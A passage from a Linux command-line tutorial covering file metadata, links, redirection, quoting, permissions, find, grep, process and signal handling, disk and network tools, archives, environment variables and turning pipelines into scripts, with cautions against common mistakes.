file</h2>\n<p><code>stat</code> prints the inode's metadata, and with <code>-c</code> a format of your choice. <code>file</code> guesses what a file contains from its first bytes, which is more reliable than the extension.</p>\n<pre><code class=\"language-bash\">stat -c '%n %s bytes %A owner=%U mtime=%y' docs/notes.txt\nfile docs/notes.txt src/main.c\n</code></pre>\n<pre><code class=\"language-text\">docs/notes.txt 45 bytes -rw-r--r-- owner=root mtime=2026-10-01 10:00:00.000000000 +0000\ndocs/notes.txt: ASCII text\nsrc/main.c:     C source, ASCII text\n</code></pre>\n<p>Linux files carry three times: modification (<code>mtime</code>, content changed), change (<code>ctime</code>, inode changed, such as permissions) and access (<code>atime</code>, usually updated lazily). There is no creation time field that every filesystem supports. The BSD and macOS <code>stat</code> uses a different option syntax, so scripts that call it are not portable without a branch.</p>\n\n<h2>Create, copy, move and remove</h2>\n<p><code>mkdir -p</code> creates a directory and any missing parents, and does not complain if it exists. <code>touch</code> creates an empty file or updates a timestamp. <code>cp -a</code> copies preserving mode, ownership, times and links, and <code>-r</code> copies directories. <code>mv</code> renames or moves, and on the same filesystem it is an atomic rename. <code>rm -r</code> removes a tree, and <code>rm -i</code> asks first.</p>\n<pre><code class=\"language-bash\">mkdir -p build/logs\ncp -a src build/src-copy\nmv build/src-copy build/src\nrm -r build/src\nrmdir build/logs\n</code></pre>\n<p>There is no trash can and no undo for <code>rm</code>. Preview wildcard deletions by running the same pattern with <code>ls</code> or <code>echo</code> first, and be wary of <code>rm -rf</code> with a variable that could be empty. For files you can recreate, <code>rm</code> is fine; for the rest, copy first. Tools like <code>trash-cli</code> add a recoverable delete if you want one.</p>\n\n<h2>Links: hard and symbolic</h2>\n<p>A filename is a directory entry that points at an inode. A hard link is a second entry pointing at the same inode, so the data persists until the last name is removed. A symbolic link is a tiny file that stores a path, followed at access time. Hard links cannot cross filesystems or point at directories; symbolic links can do both and can dangle if the target disappears.</p>\n<pre><code class=\"language-bash\">ln -s docs/notes.txt link\nls -l link\nln docs/notes.txt hard\nls -li docs/notes.txt hard\n</code></pre>\n<pre><code class=\"language-text\">lrwxrwxrwx 1 root root 14 Nov  6 05:43 link -&gt; docs/notes.txt\n</code></pre>\n<p>The <code>-i</code> flag shows inode numbers, and two hard links to one file show the same number. A relative symbolic link is resolved from the directory that contains the link, not from where you ran <code>ln</code>, which is the most common reason a new link does not work. Deploy tools use <code>ln -sfn</code> to repoint a <code>current</code> link at a new release in one step.</p>\n\n<h2>Read files: cat, less, head and tail</h2>\n<p><code>cat</code> prints files in order, and it is for concatenating, not for paging. <code>less</code> pages a file with search, so use it for anything longer than a screen. <code>head -n 2</code> and <code>tail -n 1</code> show the start and end, and <code>tail -f</code> follows a file as it grows, which is how you watch a log. <code>wc -l</code> counts lines.</p>\n<pre><code class=\"language-bash\">head -n 2 docs/notes.txt\ntail -n 1 docs/notes.txt\nwc -l docs/notes.txt\ntail -F /var/log/syslog\n</code></pre>\n<pre><code class=\"language-text\">line one\nline two\nline four\n4 docs/notes.txt\n</code></pre>\n<p>Use <code>tail -F</code> with a capital F for logs, because it keeps following across log rotation, where lowercase <code>-f</code> keeps watching the old, renamed file. Inside <code>less</code>, press <code>F</code> to follow, <code>/</code> to search, <code>g</code> and <code>G</code> to jump to the ends, and <code>-S</code> to toggle line wrapping for wide output.</p>\n\n<h2>Streams, pipes and redirection</h2>\n<p>Every process starts with standard input (0), standard output (1) and standard error (2). A pipe <code>|</code> connects one command's output to the next one's input, and redirections point the streams at files. The model is simple and everything else depends on it.</p>\n<pre><code class=\"language-bash\">grep -c line docs/notes.txt\ngrep line docs/notes.txt | sort -r | head -2\nls /nonexistent 2&gt; errors.txt\nls /tmp /nonexistent &gt; both.txt 2&gt;&amp;1\ncommand &gt;&gt; log.txt\n</code></pre>\n<p>Greater-than truncates and writes, double greater-than appends, and <code>2&gt;&amp;1</code> sends standard error to wherever standard output currently points. Order matters: the redirections are processed left to right. The special file <code>/dev/null</code> discards whatever is written to it, so <code>command &gt; /dev/null 2&gt;&amp;1</code> silences everything. The <code>tee</code> command copies its input to a file and to standard output, which is how you save the output of a pipeline and still see it.</p>\n\n<h2>Quoting</h2>\n<p>Quotes control what the shell expands before the program runs. Double quotes allow variable and command expansion but prevent word splitting and globbing. Single quotes prevent everything. A backslash escapes the next character.</p>\n<pre><code class=\"language-bash\">name=\"two words\"\nprintf '[%s]\\n' $name\nprintf '[%s]\\n' \"$name\"\nprintf '[%s]\\n' '$name'\n</code></pre>\n<pre><code class=\"language-text\">[two]\n[words]\n[two words]\n[$name]\n</code></pre>\n<p>The unquoted form became two arguments. Quote every variable expansion unless you specifically want splitting, which is rare. Use single quotes for patterns passed to <code>grep</code>, <code>sed</code> and <code>awk</code>, so the shell does not interpret their special characters first. The security consequences of unquoted data are covered in <a href=\"/library/shell-script-security\">the shell script security guide</a>.</p>\n\n<h2>Wildcards and globbing</h2>\n<p>The shell expands wildcards into matching file names before the command starts. <code>*</code> matches any string, <code>?</code> one character, <code>[abc]</code> one of a set, and <code>[!abc]</code> anything else. Brace expansion generates strings without checking files: <code>{a,b}</code> and <code>{1..3}</code>. Hidden files, whose names start with a dot, are not matched by <code>*</code>.</p>\n<pre><code class=\"language-bash\">echo *.txt\necho docs/*\necho file{1..3}.log\necho {src,docs}/*\n</code></pre>\n<p>A pattern with no matches is passed through literally, so <code>ls *.xyz</code> reports an error about a file named <code>*.xyz</code>. Because the shell, not the command, expands wildcards, <code>find -name '*.txt'</code> needs the quotes so that <code>find</code> receives the pattern. Globs are not regular expressions: they are a separate, simpler language, and mixing them up is a frequent stumbling block that <a href=\"/library/regular-expressions-shell-tools\">the regular expressions guide</a> clears up.</p>\n\n<h2>Permissions and ownership</h2>\n<p>Each file has an owner, a group and a mode with three triples: owner, group and others, each of read, write and execute. For a directory, read means listing names, write means creating and removing entries, and execute means entering it. The octal form adds 4, 2 and 1 for each triple, so 640 is owner read and write, group read, others nothing.</p>\n<pre><code class=\"language-bash\">chmod 640 docs/notes.txt\nls -l docs/notes.txt\nchmod u+x,g-r docs/notes.txt\nls -l docs/notes.txt\nstat -c %a docs/notes.txt\n</code></pre>\n<pre><code class=\"language-text\">-rw-r----- 1 root root 45 Oct  1 10:00 docs/notes.txt\n-rwx------ 1 root root 45 Oct  1 10:00 docs/notes.txt\n700\n</code></pre>\n<p>Symbolic modes read as who, operator, what: <code>u+x</code> adds execute for the owner, <code>g-r</code> removes read from the group, <code>a=r</code> sets read for all. <code>chown user:group file</code> changes ownership and normally needs root. Use <code>chmod -R</code> with care: a recursive <code>755</code> makes every data file executable, and the capital <code>X</code> (<code>chmod -R u+rwX,go+rX</code>) sets execute only on directories and files already executable.</p>\n\n<h2>umask, setuid and the sticky bit</h2>\n<p>New files start from a base mode of 666 for files and 777 for directories, and the <code>umask</code> removes bits from it. The common umask of 022 yields 644 files and 755 directories. A stricter 077 yields private files, which suits scripts that write secrets.</p>\n<pre><code class=\"language-bash\">umask\ntouch f1; mkdir d1\nls -ld f1 d1\n</code></pre>\n<pre><code class=\"language-text\">0022\ndrwxr-xr-x 2 root root 4096 Nov  6 05:43 d1\n-rw-r--r-- 1 root root    0 Nov  6 05:43 f1\n</code></pre>\n<p>Three special bits sit above the nine. Setuid on an executable makes it run as the file's owner, which is how <code>passwd</code> can write the password database. Setgid on a directory makes new files inherit its group, which suits shared project directories. The sticky bit on a directory, as on <code>/tmp</code>, lets only a file's owner delete it. They show up as <code>s</code> and <code>t</code> in the listing. Setuid scripts are ignored by Linux for safety, and every setuid binary on a system is an attack surface worth auditing with <code>find / -perm -4000 -type f</code>.</p>\n\n<h2>Identity and sudo</h2>\n<p><code>id</code> prints the user ID, group ID and supplementary groups, <code>whoami</code> prints the name, and <code>groups</code> lists memberships. <code>sudo command</code> runs one command as root (or <code>-u user</code> as another user) after checking <code>/etc/sudoers</code>. Prefer it over a long-lived root shell, because every use is logged.</p>\n<pre><code class=\"language-bash\">id\nsudo -l\nsudo -u www-data whoami\n</code></pre>\n<pre><code class=\"language-text\">uid=0(root) gid=0(root) groups=0(root)\n</code></pre>\n<p>A redirection is performed by your shell before <code>sudo</code> starts, so <code>sudo echo x &gt; /etc/file</code> fails with permission denied. Use <code>echo x | sudo tee /etc/file</code> instead. Edit the sudoers file only with <code>visudo</code>, which checks syntax before saving, because a broken file can lock out every administrator.</p>\n\n<h2>Find files with find</h2>\n<p><code>find</code> walks a directory tree and tests each entry. Tests include <code>-name</code> (a glob, quoted), <code>-type f</code> or <code>d</code>, <code>-mtime +7</code> for older than seven days, <code>-size +100M</code>, <code>-user</code>, <code>-perm</code> and <code>-newer file</code>. Combine tests with implicit AND, <code>-o</code> for OR, <code>!</code> for NOT and parentheses escaped for the shell.</p>\n<pre><code class=\"language-bash\">find . -name '*.c' -o -name '*.txt'\nfind . -type f -mtime +7\nfind . -type f \\( -name '*.c' -o -name '*.h' \\) -size -1M\n</code></pre>\n<pre><code class=\"language-text\">./src/main.c\n./docs/notes.txt\n./docs/notes.txt\n</code></pre>\n<p>The first command lists both because <code>-o</code> has lower precedence than the implied AND; add parentheses when mixing. The second printed only the file with a timestamp from October. Find evaluates tests left to right and stops at the first false one, so put cheap tests such as <code>-name</code> before expensive ones such as <code>-exec</code>. The <a href=\"https://www.gnu.org/software/findutils/manual/html_mono/find.html\">GNU findutils manual</a> documents every test.</p>\n\n<h2>Act on what find finds</h2>\n<p>Three actions cover most uses. <code>-print</code> prints names, and is the default when no action is given. <code>-exec command {} +</code> runs a command with many files at once, and <code>-exec command {} \\;</code> runs it once per file. <code>-delete</code> removes matches. For names with unusual characters, <code>-print0</code> separates with a NUL byte, which pairs with <code>xargs -0</code>.</p>\n<pre><code class=\"language-bash\">find /tmp/demo -name '*.tmp' -mtime +7 -delete\nfind . -name '*.c' -exec wc -l {} +\nfind . -type f -print0 | xargs -0 grep -l 'error'\nfind . -type d -empty -print\n</code></pre>\n<p>Put <code>-delete</code> last; placed before the tests, it deletes everything. Preview by running the command with <code>-print</code> first. The <code>+</code> form is faster because it starts fewer processes, much like <code>xargs</code>. For simple name searches on a big tree, <code>locate</code> uses a prebuilt index and is instant, but its index can be stale.</p>\n\n<h2>Search text with grep</h2>\n<p><code>grep</code> prints lines that match a pattern. The options to learn are <code>-i</code> ignore case, <code>-v</code> invert, <code>-n</code> line numbers, <code>-r</code> recurse, <code>-l</code> file names only, <code>-c</code> count, <code>-w</code> whole words, <code>-F</code> fixed strings, <code>-E</code> extended regular expressions and <code>-A</code>, <code>-B</code>, <code>-C</code> for context lines.</p>\n<pre><code class=\"language-bash\">grep -n error docs/notes.txt\ngrep -rn --include='*.c' 'main' src\ngrep -c . docs/notes.txt\ngrep -v '^#' /etc/hosts | grep -v '^$'\n</code></pre>\n<pre><code class=\"language-text\">3:error: disk full\n</code></pre>\n<p>The exit status is 0 for a match, 1 for none and 2 for an error, which makes <code>if grep -q pattern file</code> the standard way to test for text. A leading <code>-</code> in the pattern needs <code>-e</code> or <code>--</code>. For code, tools such as ripgrep respect <code>.gitignore</code> and run faster, but GNU grep is on every machine. The deeper treatment, including sed and awk, is in <a href=\"/library/grep-sed-awk-guide\">the grep, sed and awk guide</a>.</p>\n\n<h2>Filter and reshape with sort, uniq, cut and tr</h2>\n<p>These four small tools do most of the everyday work on columns and lists. <code>sort</code> orders lines, and its useful options are <code>-n</code> numeric, <code>-h</code> human sizes, <code>-r</code> reverse, <code>-k</code> a key field, <code>-t</code> a separator and <code>-u</code> unique. <code>uniq</code> collapses adjacent duplicates, so sort first; <code>-c</code> counts them. <code>cut -d: -f1,7</code> picks fields. <code>tr</code> translates or deletes characters.</p>\n<pre><code class=\"language-bash\">printf 'b\\na\\nb\\nc\\nb\\n' | sort | uniq -c | sort -rn\necho 'root:x:0:0:root:/root:/bin/bash' | cut -d: -f1,7\necho 'Hello World' | tr a-z A-Z\n</code></pre>\n<pre><code class=\"language-text\">      3 b\n      1 c\n      1 a\nroot:/bin/bash\nHELLO WORLD\n</code></pre>\n<p>The pattern <code>sort | uniq -c | sort -rn</code> is the classic frequency table, and it turns up in every log analysis. Sorting follows the locale; set <code>LC_ALL=C</code> for plain byte order, which is faster and gives the same result on every machine. <code>sort -k2,2n</code> sorts by the second field numerically, and the comma matters: without it the key runs to the end of the line.</p>\n\n<h2>Run commands on many items with xargs</h2>\n<p><code>xargs</code> reads items from standard input and builds command lines from them. It exists because the kernel limits the length of an argument list, and because it lets you turn a stream of names into arguments. Use <code>-n</code> to cap items per call, <code>-P</code> to run several in parallel, and <code>-0</code> with <code>-print0</code> for safe names.</p>\n<pre><code class=\"language-bash\">printf 'a b\\n' | xargs -n1 echo item\nfind . -name '*.log' -print0 | xargs -0 -P4 gzip\nprintf '%s\\n' web01 web02 | xargs -I{} ssh {} uptime\n</code></pre>\n<pre><code class=\"language-text\">item a\nitem b\n</code></pre>\n<p>By default xargs splits on whitespace, which breaks on names with spaces; the NUL form is the reliable one. With <code>-I{}</code> each item replaces the placeholder and runs once. If the input is empty, GNU xargs still runs the command once unless you add <code>-r</code> (<code>--no-run-if-empty</code>), which is the cause of many strange \"ran with no arguments\" errors.</p>\n\n<h2>Processes: ps, top and pgrep</h2>\n<p>A process is a running program with a PID, a parent, an owner and a state. <code>ps</code> shows a snapshot, <code>top</code> and <code>htop</code> show it live, <code>pgrep</code> finds PIDs by name, and <code>pstree</code> draws the parent-child tree. The container image used for the other examples ships without <code>ps</code>; on Debian it comes from the <code>procps</code> package.</p>\n<pre><code class=\"language-bash\">ps -eo pid,ppid,user,stat,etime,comm --sort=-etime | head\nps aux --sort=-%mem | head -5\npgrep -af nginx\npstree -p $$\n</code></pre>\n<p>The <code>STAT</code> column letters are worth knowing: <code>R</code> running, <code>S</code> sleeping, <code>D</code> uninterruptible sleep, usually waiting on disk or network storage, <code>T</code> stopped and <code>Z</code> zombie, a finished process whose parent has not collected its status. A pile of <code>D</code> processes explains a high load average with an idle CPU. The BSD-style <code>ps aux</code> and the standard <code>ps -ef</code> both work on Linux; mixing the styles in one command gives warnings. The <a href=\"https://man7.org/linux/man-pages/man1/ps.1.html\">ps manual page</a> lists every column.</p>\n\n<h2>Signals and kill</h2>\n<p>A signal is a small message to a process. <code>kill PID</code> sends SIGTERM (15), a polite request to exit that a program can catch to clean up. <code>kill -HUP</code> often asks a daemon to reload configuration. <code>kill -9</code> sends SIGKILL, which cannot be caught or ignored and gives the process no chance to clean up. Use SIGTERM first and escalate only if it does not exit.</p>\n<pre><code class=\"language-bash\">sleep 300 &amp;\nkill %1\npkill -f 'python worker.py'\nkill -l | head -3\n</code></pre>\n<p>Ctrl-C sends SIGINT to the foreground job, Ctrl-Z sends SIGTSTP to pause it, <code>bg</code> resumes it in the background and <code>fg</code> brings it back. <code>jobs</code> lists the shell's jobs. The full list and default actions are in <a href=\"https://man7.org/linux/man-pages/man7/signal.7.html\">signal(7)</a>. A process stuck in state <code>D</code> will not die from SIGKILL until its disk or network request returns, which is a property of the kernel and not a bug in the command.</p>\n\n<h2>Keep a job running: tmux, nohup and systemd-run</h2>\n<p>A job started in a terminal gets SIGHUP when the terminal closes. For long jobs over SSH, run them in <code>tmux</code> (or <code>screen</code>), which keeps a session alive on the server so you can detach and reattach. <code>nohup</code> makes a command ignore SIGHUP and write to <code>nohup.out</code>. On a systemd host, <code>systemd-run --user</code> starts a command in its own transient unit, with logs in the journal.</p>\n<pre><code class=\"language-bash\">tmux new -s build\n# Ctrl-b d to detach\ntmux attach -t build\nnohup ./long-job.sh &gt; job.log 2&gt;&amp;1 &amp;\nsystemd-run --user --unit=import ./import.sh\n</code></pre>\n<p>For something that must start at boot and restart on failure, a transient job is the wrong tool; write a service or timer unit, as described in <a href=\"/library/automate-tasks-cron-systemd\">the cron and systemd timers guide</a>. SSH multiplexing and reconnect behavior, which affect long sessions, are in <a href=\"/library/ssh-guide\">the SSH guide</a>.</p>\n\n<h2>Open files and ports with lsof and ss</h2>\n<p>When something is using a file or a port, <code>lsof</code> and <code>ss</code> say which process. <code>lsof path</code> lists processes with a file open, <code>lsof -i :8080</code> finds who is bound to a port, and <code>lsof +L1</code> lists deleted files that are still held open, which is the usual cause of a disk that is full while <code>du</code> shows free space. <code>ss -ltnp</code> lists listening TCP sockets with their processes.</p>\n<pre><code class=\"language-bash\">ss -ltnp\nlsof -i :8080\nlsof +L1\nfuser -v /var/log/app.log\n</code></pre>\n<pre><code class=\"language-text\">State   Recv-Q  Send-Q  Local Address:Port  Peer Address:Port  Process\nLISTEN  0       511     0.0.0.0:80          0.0.0.0:*          users:((\"nginx\",pid=812,fd=6))\nLISTEN  0       128     0.0.0.0:22          0.0.0.0:*          users:((\"sshd\",pid=611,fd=3))\n</code></pre>\n<p>Seeing other users' processes needs root, so run these with <code>sudo</code> when the <code>Process</code> column is empty. <code>ss</code> replaced <code>netstat</code>, which is deprecated and absent from many current images. The <code>-n</code> flag skips name resolution, which both speeds the command up and shows real addresses.</p>\n\n<h2>Disk space: df, du and ncdu</h2>\n<p><code>df -h</code> shows free space per filesystem, <code>df -i</code> shows free inodes, and <code>du -sh</code> totals a directory. A filesystem can be full by blocks or by inodes, and a directory with millions of tiny files exhausts inodes while <code>df -h</code> still shows free space.</p>\n<pre><code class=\"language-bash\">df -h /tmp\ndu -sh .\ndu -ah . | sort -rh | head -3\ndf -i /\n</code></pre>\n<pre><code class=\"language-text\">Filesystem      Size  Used Avail Use% Mounted on\noverlay         189G  137G   43G  77% /\n24K\t.\n24K\t.\n8.0K\t./src\n8.0K\t./docs\n</code></pre>\n<p>The sorted <code>du</code> output lists the total first because <code>.</code> contains everything; use <code>du -h --max-depth=1</code> to see one level at a time. When <code>df</code> and <code>du</code> disagree, a deleted file is still open by a process, which <code>lsof +L1</code> shows; restarting that process frees the space. <code>ncdu</code> is an interactive version of the same investigation and is worth installing on servers you manage.</p>\n\n<h2>Memory, load and system facts</h2>\n<p><code>free -m</code> shows memory in megabytes, with <code>available</code> being the number that matters, not <code>free</code>, because Linux uses spare memory as cache. <code>uptime</code> prints load averages for 1, 5 and 15 minutes, which count runnable and uninterruptible tasks and should be read against the number of CPUs from <code>nproc</code>. <code>uname -a</code>, <code>lscpu</code> and <code>/etc/os-release</code> describe the machine.</p>\n<pre><code class=\"language-bash\">free -m\nuptime\nnproc\ncat /proc/meminfo | head -3\n</code></pre>\n<p>A load of 4 on a 4-CPU machine is full; on a 32-CPU machine it is idle. A rising load with low CPU use points at storage or network waits. The <code>/proc</code> files are the source of truth for these tools, and reading them directly is how scripts get numbers without parsing another program's formatting.</p>\n\n<h2>Networking basics: ip, ping, curl and dig</h2>\n<p><code>ip addr</code> shows addresses and <code>ip route</code> the routing table; they replace <code>ifconfig</code> and <code>route</code>. <code>ping -c 3 host</code> tests reachability. <code>dig +short name</code> resolves DNS names. <code>curl</code> speaks HTTP and many other protocols, and <code>curl -fsS</code> is the script-friendly form that fails on HTTP errors and prints only errors.</p>\n<pre><code class=\"language-bash\">ip -br addr\nip route get 1.1.1.1\ndig +short example.org\ncurl -fsS -o /dev/null -w '%{http_code} %{time_total}s\\n' https://example.org/\n</code></pre>\n<pre><code class=\"language-text\">200 0.231s\n</code></pre>\n<p>The <code>-w</code> format prints timing and status without the body, which suits health checks. Without <code>-f</code>, curl exits 0 on a 404 or 500, because the transfer itself worked. Add <code>--max-time</code> and <code>--retry</code> in scripts so a stalled server cannot hang the job. For remote login and file transfer, move on to <a href=\"/library/ssh-guide\">the SSH guide</a>.</p>\n\n<h2>Archives and compression</h2>\n<p><code>tar</code> bundles files into one archive and <code>gzip</code>, <code>xz</code> or <code>zstd</code> compress it. The flags are <code>c</code> create, <code>x</code> extract, <code>t</code> list, <code>f</code> file, <code>z</code> gzip, <code>J</code> xz and <code>v</code> verbose. Use <code>-C dir</code> to choose where to work.</p>\n<pre><code class=\"language-bash\">tar -czf ../demo.tgz .\ntar -tzf ../demo.tgz | head -4\nmkdir /tmp/restore &amp;&amp; tar -xzf ../demo.tgz -C /tmp/restore\ngzip -k big.log\nzcat big.log.gz | grep -c error\n</code></pre>\n<pre><code class=\"language-text\">./\n./Makefile\n./src/\n./src/main.c\n</code></pre>\n<p>List before extracting an archive you did not make, because a tarball can contain absolute paths or <code>..</code> components. GNU tar strips leading slashes by default, but check. Pick the compressor by the trade: gzip is fast and universal, xz compresses best and is slow, zstd gives most of xz's ratio at much higher speed. <code>zcat</code>, <code>zgrep</code> and <code>zless</code> read compressed files without unpacking.</p>\n\n<h2>Environment variables and PATH</h2>\n<p>Variables exported with <code>export</code> are inherited by child processes. <code>env</code> prints the environment, and <code>env -i</code> starts a command with an empty one, which is the honest test of what a script needs. <code>PATH</code> is the colon-separated list of directories searched for commands, in order, and the first match wins.</p>\n<pre><code class=\"language-bash\">echo \"$PATH\"\nenv -i PATH=/bin bash -c 'echo \"$HOME-$PATH\"'\nexport EDITOR=vim\nPATH=\"$HOME/bin:$PATH\"\n</code></pre>\n<pre><code class=\"language-text\">-/bin\n</code></pre>\n<p>That second command printed an empty <code>HOME</code> and the one directory we gave it, which is closer to what cron provides than your login shell. Put per-user setup in <code>~/.profile</code> for login shells and <code>~/.bashrc</code> for interactive Bash, and system-wide values in <code>/etc/environment</code> or <code>/etc/profile.d/</code>. Never put <code>.</code> in <code>PATH</code>, because a malicious file in a directory you visit then runs as a command.</p>\n\n<h2>Shell history and line editing</h2>\n<p>Bash keeps a history, searched with <code>Ctrl-R</code> as you type. <code>!!</code> repeats the last command, <code>!$</code> is its last argument, and <code>sudo !!</code> reruns it as root. Line editing follows Emacs bindings: <code>Ctrl-A</code> and <code>Ctrl-E</code> jump to the ends, <code>Alt-B</code> and <code>Alt-F</code> move by word, <code>Ctrl-W</code> deletes a word and <code>Ctrl-U</code> deletes to the start. Settings such as <code>HISTSIZE</code>, <code>HISTCONTROL=ignoreboth</code> and <code>HISTTIMEFORMAT</code> in <code>~/.bashrc</code> tune how much is kept.</p>\n<pre><code class=\"language-bash\">history | tail -3\nsudo !!\ncd !$\n</code></pre>\n<p>History is written when the shell exits, so a terminal that crashes loses its commands; <code>shopt -s histappend</code> and <code>PROMPT_COMMAND='history -a'</code> write after every command. History files can contain secrets typed on command lines, so treat <code>~/.bash_history</code> as sensitive, and prefix a command with a space (with <code>ignorespace</code> set) to keep it out.</p>\n\n<h2>Compose commands into a pipeline: a worked example</h2>\n<p>Real questions are answered by chaining tools. Suppose a web server log has lines like <code>203.0.113.9 - - [05/Nov/2026:10:01:02 +0000] \"GET /a HTTP/1.1\" 200 512</code> and you want the five client addresses that made the most failing requests. Build the pipeline one stage at a time, running it after each addition.</p>\n<pre><code class=\"language-bash\">awk '$9 &gt;= 500 { print $1 }' access.log \\\n  | sort \\\n  | uniq -c \\\n  | sort -rn \\\n  | head -5\n</code></pre>\n<pre><code class=\"language-text\">     42 203.0.113.9\n     17 198.51.100.4\n      3 192.0.2.77\n</code></pre>\n<p><code>awk</code> keeps the client column of lines whose status field is 500 or above, <code>sort</code> groups equal addresses, <code>uniq -c</code> counts each group, the second <code>sort -rn</code> ranks by count and <code>head</code> keeps the top. The shape is general: select, normalize, group, count, rank, limit. Awk and its alternatives are explained properly in <a href=\"/library/grep-sed-awk-guide\">the text-processing guide</a>. When a pipeline grows past a few stages, name its parts in a script, as in the Bash tutorial.</p>\n\n<h2>Turn a command line into a script</h2>\n<p>Once a command line works, save it. A script is the same commands in a file with a shebang and the executable bit, plus the quoting, argument handling and error checks that an interactive session lets you skip. Start by pasting the working line, replace the hard-coded values with variables, quote them, and add <code>set -euo pipefail</code> and a usage message. Then run it under <code>shellcheck</code> and fix what it reports.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\nset -euo pipefail\nlog=\"${1:?usage: top-errors.sh LOGFILE [N]}\"\nn=\"${2:-5}\"\nawk '$9 &gt;= 500 { print $1 }' \"$log\" | sort | uniq -c | sort -rn | head -n \"$n\"\n</code></pre>\n<p>This is the point at which the command line stops being exploration and becomes a tool, and the fuller treatment is in <a href=\"/library/bash-scripting-tutorial\">the Bash scripting tutorial</a> and <a href=\"/library/test-shell-scripts-bats-shellcheck\">the testing guide</a>. If you plan to run the result on a schedule, <a href=\"/library/automate-tasks-cron-systemd\">the cron and systemd timers guide</a> covers the environment differences that make a working interactive command fail overnight.</p>\n\n<h2>Compare files with diff and cmp</h2>\n<p><code>diff</code> shows the differences between two text files, and <code>diff -u</code> produces the unified format that patches and code review use. <code>diff -r</code> compares directories. <code>cmp</code> compares bytes and reports the first difference, which suits binary files. <code>comm</code> compares two sorted lists and prints lines unique to each and common to both.</p>\n<pre><code class=\"language-bash\">diff -u old.conf new.conf\ndiff -rq dir1 dir2\ncmp a.bin b.bin\ncomm -12 &lt;(sort list1) &lt;(sort list2)\n</code></pre>\n<p>The exit status is 0 for identical, 1 for different and 2 for trouble, which makes <code>diff -q</code> usable as a test. A unified diff can be applied with <code>patch -p1 &lt; change.diff</code>, though in a repository <code>git diff</code> and <code>git apply</code> do the same with better error handling.</p>\n\n<h2>Edit files from the terminal</h2>\n<p>Every developer on servers needs one terminal editor. <code>nano</code> is the gentlest, showing its keys at the bottom. <code>vim</code> is modal and fast once learned: <code>i</code> inserts, <code>Esc</code> returns to normal mode, <code>:w</code> saves, <code>:q</code> quits, <code>:q!</code> quits without saving, <code>/text</code> searches, and <code>dd</code> deletes a line. Set <code>EDITOR</code> and <code>VISUAL</code> so programs such as <code>git commit</code> and <code>crontab -e</code> open the editor you chose. For one-line changes in a script, <code>sed -i</code> edits a file in place, and the deeper tour is in the text-processing guide.</p>\n<pre><code class=\"language-bash\">export EDITOR=nano\nsed -i.bak 's/old/new/g' config.ini\n</code></pre>\n<p>The <code>.bak</code> suffix keeps a copy of the original, which is the cheap insurance for any in-place edit and also the portable form, since BSD sed requires a suffix argument.</p>\n\n<h2>Users, groups and the files that define them</h2>\n<p>Accounts live in plain text files. <code>/etc/passwd</code> lists users, with name, UID, GID, home and shell. <code>/etc/shadow</code> holds password hashes and is readable only by root. <code>/etc/group</code> lists groups. <code>getent passwd name</code> queries these and any directory service, such as LDAP, in one command, and <code>adduser</code>, <code>usermod</code> and <code>userdel</code> manage accounts. A user must log out and in again for a new group membership to apply.</p>\n<pre><code class=\"language-bash\">getent passwd root\ngetent group sudo\nsudo usermod -aG docker deploy\n</code></pre>\n<pre><code class=\"language-text\">root:x:0:0:root:/root:/bin/bash\n</code></pre>\n<p>The <code>-a</code> in <code>usermod -aG</code> means append; leaving it off replaces all of the user's supplementary groups with the one named, which has locked people out of <code>sudo</code>. Giving an account membership in the <code>docker</code> group is equivalent to giving it root on the host, a trade-off to make deliberately.</p>\n\n<h2>Packages and services</h2>\n<p>Install software with the distribution's package manager: <code>apt</code> on Debian and Ubuntu, <code>dnf</code> on Fedora and RHEL, <code>apk</code> on Alpine and <code>pacman</code> on Arch. Update the package index before installing, query what owns a file with <code>dpkg -S</code> or <code>rpm -qf</code>, and list a package's files with <code>dpkg -L</code>. On systemd systems, services are controlled with <code>systemctl</code> and read with <code>journalctl</code>.</p>\n<pre><code class=\"language-bash\">sudo apt update &amp;&amp; sudo apt install -y jq\ndpkg -S /usr/bin/jq\nsystemctl status ssh --no-pager\njournalctl -u ssh --since '1 hour ago' --no-pager | tail -5\n</code></pre>\n<p>Treat <code>curl ... | sh</code> installers with suspicion, as the script can change between your reading and running it. Download, read and then run, or prefer the package manager. In containers, run <code>apt-get update</code> and the install in the same <code>RUN</code> layer, and clean the lists afterward, to avoid stale indexes and large images.</p>\n\n<h2>Common mistakes and the habit behind each</h2>\n<ul>\n<li><strong>Running a destructive command with a wildcard unchecked.</strong> Run it with <code>ls</code> or <code>echo</code> first.</li>\n<li><strong>Using <code>sudo</code> with a redirection.</strong> The shell opens the file before sudo runs; use <code>tee</code>.</li>\n<li><strong>Using <code>kill -9</code> first.</strong> Send SIGTERM and wait, so the program can clean up.</li>\n<li><strong>Trusting <code>ls</code> output in a script.</strong> Use globs, <code>find</code> and <code>stat</code>.</li>\n<li><strong>Recursive <code>chmod 777</code> to make a permission error go away.</strong> Find the real owner and mode problem.</li>\n<li><strong>Forgetting that <code>cd</code> in a script does not move your shell.</strong> Source the file or print the path.</li>\n<li><strong>Forgetting <code>-F</code> on <code>tail</code> across rotation.</strong> Lowercase <code>-f</code> follows the renamed file.</li>\n<li><strong>Comparing environments by memory.</strong> Use <code>env -i</code> to see what a clean launch has.</li>\n</ul>\n<p>Most of these are the same error: acting on what you meant instead of on what the shell will do. Reading the expansion first, with <code>echo</code> or <code>set -x</code>, closes the gap, and <a href=\"/library/debugging-shell-scripts\">the debugging guide</a> builds on that habit.</p>\n\n<h2>Time, dates and scheduling at a glance</h2>\n<p><code>date</code> prints and formats the current time, <code>date -u</code> prints UTC, and <code>date +%s</code> prints seconds since the epoch. <code>timedatectl</code> shows the time zone and whether the clock is synchronized. Servers should run in UTC with NTP enabled, so logs from different machines line up and daylight saving changes cannot cause a job to run twice or not at all. For one-off delayed jobs, <code>at</code> runs a command at a given time, <code>sleep</code> waits, and <code>watch -n 5 command</code> repeats a command and redraws the output, which is a quick way to monitor a changing value. Recurring jobs belong to cron or a systemd timer.</p>\n<pre><code class=\"language-bash\">date -u +%FT%TZ\ntimedatectl | head -4\nwatch -n 5 'df -h /var | tail -1'\necho 'tar -czf /tmp/b.tgz /srv/data' | at 02:30\n</code></pre>\n<p>A clock that drifts breaks TLS validation, token expiry and log correlation in ways that look unrelated to time, so check <code>timedatectl</code> early when a certificate or token error makes no sense.</p>\n\n<h2>Compare tools by what they cost</h2>\n<p>Every command you chain costs a process, and every process costs a fork, an exec and some memory. For a handful of files it does not matter; for a million it dominates. A few rules of thumb come from that. A single <code>awk</code> replaces a <code>grep | cut | sort</code> chain with one process, though on three million lines both ran in about half a second in Debian 